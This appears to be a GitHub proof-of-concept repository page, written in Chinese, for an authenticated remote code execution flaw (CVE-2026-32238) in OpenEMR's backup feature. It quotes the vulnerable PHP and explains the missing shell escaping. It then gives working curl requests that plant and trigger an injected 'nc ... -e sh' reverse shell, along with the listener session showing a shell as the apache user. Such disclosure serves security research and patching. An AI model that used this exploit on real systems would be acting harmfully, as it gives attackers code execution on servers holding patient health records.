ChrisSub08/CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0
GitHub: ChrisSub08/CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0
针对 OpenEMR 8.0.0.2 以下版本备份功能中命令注入漏洞的认证后远程代码执行 PoC。
Stars: 0 | Forks: 0
# CVE-2026-32238 - OpenEMR <8.0.0.2 远程代码执行漏洞
### 概述
OpenEMR <8.0.0.1 的备份功能中存在多个命令注入漏洞,可被已认证的攻击者利用。该漏洞是由于备份功能中输入验证不足造成的。
### 详情
该漏洞出现在备份功能中,其中多个 *ID* 在嵌入到 OS 命令的 SQL 语句中经过了 SQL 转义,但并未进行 shell 转义。
这些 *ID* 值在验证用户提供的输入存在于数据库后即被视为*可信*。
用户可以在这些 SQL *ID* 列中插入任意值,并拼接到 shell 命令中。
总结:某些 shell 命令在没有适当清理的情况下拼接了用户提供的输入,这可能导致命令注入漏洞。这使得攻击者能够注入恶意的 OS shell 命令。
该漏洞影响以下代码行:
- `interface/main/backup.php` [第 775, 776, 784, 786, 788 和 789 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L775) 漏洞点
- `interface/main/backup.php` [第 768 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L768),检查值是否存在。
- `interface/main/backup.php` [第 763 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L763),检查值是否不包含 *反引号*。
- `interface/main/backup.php` [第 761 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L761),遍历每个值。
- `interface/main/backup.php` [第 742 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L742),从 POST 数据获取值。
- `interface/main/backup.php` [第 816, 818, 822, 824, 828, 831, 835 和 838 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L816) 漏洞点
- `interface/main/backup.php` [第 807 和 808 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L807),检查值是否存在。
- `interface/main/backup.php` [第 802 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L802),检查值是否不包含 *反引号*。
- `interface/main/backup.php` [第 800 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L800),遍历来自 POST 数据的每个值。
要利用这些漏洞,payload 应存储在:`list_options.option_id`、`list_options.list_id`、`layout_options.form_id` 或 `layout_group_properties.grp_form_id` 中。
```
if (!empty($form_sel_lists)) {
foreach ($form_sel_lists as $listid) {
if (str_contains((string) $listid, '`')) {
continue;
}
$listid_check = sqlQuery("SELECT `list_id` FROM `list_options` WHERE `list_id` = ? OR `option_id` = ?", [$listid, $listid]);
if (empty($listid_check['list_id'])) {
continue;
}
if (IS_WINDOWS) {
$cmd .= " echo 'DELETE FROM list_options WHERE list_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & ";
$cmd .= " echo 'DELETE FROM list_options WHERE list_id = 'lists' AND option_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & ";
$cmd .= $dumppfx . " --where=\"list_id = 'lists' AND option_id = '$listid' OR list_id = '$listid' " .
"ORDER BY list_id != 'lists', seq, title\" " .
escapeshellarg((string) $sqlconf["dbase"]) . " list_options";
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
} else {
$cmdarr[] = "echo 'DELETE FROM list_options WHERE list_id = \"" .
add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" .
"echo 'DELETE FROM list_options WHERE list_id = \"lists\" AND option_id = \"" .
add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" .
$dumppfx . " --where='list_id = \"lists\" AND option_id = \"" .
add_escape_custom($listid) . "\" OR list_id = \"" .
add_escape_custom($listid) . "\" " . "ORDER BY list_id != \"lists\", seq, title' " .
escapeshellarg((string) $sqlconf["dbase"]) . " list_options" .
" >> " . escapeshellarg($EXPORT_FILE) . ";";
}
}
}
if (is_array($_POST['form_sel_layouts'] ?? '')) {
$do_history_repair = false;
$do_demographics_repair = false;
foreach ($_POST['form_sel_layouts'] as $layoutid) {
if (str_contains((string) $layoutid, '`')) {
continue;
}
$layoutid_check_one = sqlQuery("SELECT `form_id` FROM `layout_options` WHERE `form_id` = ?", [$layoutid]);
$layoutid_check_two = sqlQuery("SELECT `grp_form_id` FROM `layout_group_properties` WHERE `grp_form_id` = ?", [$layoutid]);
if (empty($layoutid_check_one['list_id']) && empty($layoutid_check_two['grp_form_id'])) {
continue;
}
if (IS_WINDOWS) {
$cmd .= " echo DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " & ";
} else {
$cmd .= "echo 'DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";";
}
if (IS_WINDOWS) {
$cmd .= "echo DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " &;";
} else {
$cmd .= "echo 'DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";";
}
if (IS_WINDOWS) {
$cmd .= $dumppfx . ' --where="grp_form_id = \'' . add_escape_custom($layoutid) . "'\" " .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties";
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
$cmd .= $dumppfx . ' --where="form_id = \'' . add_escape_custom($layoutid) . '\' ORDER BY group_id, seq, title" ' .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ;
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
} else {
$cmd .= $dumppfx . " --where='grp_form_id = \"" . add_escape_custom($layoutid) . "\"' " .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties";
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";";
$cmd .= $dumppfx . " --where='form_id = \"" . add_escape_custom($layoutid) . "\" ORDER BY group_id, seq, title' " .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ;
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";";
}
if (str_starts_with((string) $layoutid, 'HIS')) {
$do_history_repair = true;
}
if (str_starts_with((string) $layoutid, 'DEM')) {
$do_demographics_repair = true;
}
}
```
```
echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='grp_form_id = ""' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='form_id = "" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql';
```
#### 权限
```
if (!AclMain::aclCheckCore('admin', 'super')) {
echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Backup")]);
exit;
}
```
### PoC
在此 PoC 中,我使用 `layout_group_properties.grp_form_id` 列:
1. 将 payload 插入 `layout_group_properties.grp_form_id`
2. 使用相同的 payload 调用备份功能
```
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&formaction=addgroup&newgroupname=1&newgroupparent=1&&layout_id=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/super/edit_layout.php'
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&form_step=102&form_cb_addlists=1&form_sel_lists[]=userlist1&form_sel_lists[]=userlist2&form_sel_lists[]=userlist3&form_sel_lists[]=LA28397-0&form_sel_layouts[]=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/main/backup.php'
┌──(kali㉿kali)-[~]
└─$
```
#### 数据库
```
MariaDB [openemr]> SELECT grp_form_id, grp_group_id FROM layout_group_properties;
+--------------------------------+--------------+
| grp_form_id | grp_group_id |
+--------------------------------+--------------+
| DEM | |
| DEM | 1 |
| DEM | 2 |
| DEM | 3 |
| DEM | 4 |
| DEM | 5 |
| DEM | 6 |
| DEM | 8 |
| FACUSR | |
| FACUSR | 1 |
| HIS | |
| HIS | 1 |
| HIS | 2 |
| HIS | 3 |
| HIS | 4 |
| HIS | 5 |
| LBF"';nc 172.18.0.1 21 -e sh # | 11 |
| LBTbill | |
| LBTbill | 1 |
| LBTlegal | |
| LBTlegal | 1 |
| LBTphreq | |
| LBTphreq | 1 |
| LBTptreq | |
| LBTptreq | 1 |
| LBTref | |
| LBTref | 1 |
| LBTref | 2 |
+--------------------------------+--------------+
28 rows in set (0.003 sec)
MariaDB [openemr]>
```
#### 反向 shell payload
```
nc 172.18.0.1 21 -e sh
```
##### 注入
```
LBF"';nc 172.18.0.1 21 -e sh #
```
##### 最终结果
```
echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql';
```
##### 工具
我不确定是否需要 netcat (`nc`),但它默认安装在 docker 容器中(这对该漏洞利用非常有用)。
##### 用户和当前目录
```
┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 21
listening on [any] 21 ...
connect to [172.18.0.1] from (UNKNOWN) [172.18.0.3] 44041
whoami
apache
id
uid=1000(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
pwd
/var/www/localhost/htdocs/openemr/interface/main
```
### 影响
- 服务器端代码执行
### 漏洞修复流程
1. 评估并验证漏洞
2. 请求或分配 CVE ID
3. 创建私有分支
4. 开发修复程序
5. 编写回归和安全测试
6. 准备发行说明和安全公告草案
7. 发布修复程序(代码合并)并发布补丁版本
8. 公开披露漏洞
### 致谢
- 研究员:Christophe SUBLET
- 组织:Grenoble INP - Esisar, UGA
- 项目:CyberSkills, Orion
标签:Cutter, CVE-2026-32238, OpenEMR, OpenVAS, PHP, RCE, Shell注入, SQL转义绕过, Web安全, 医疗信息系统, 命令注入, 备份功能, 漏洞, 编程工具, 蓝队分析, 认证后攻击, 输入验证不足, 远程代码执行, 高危漏洞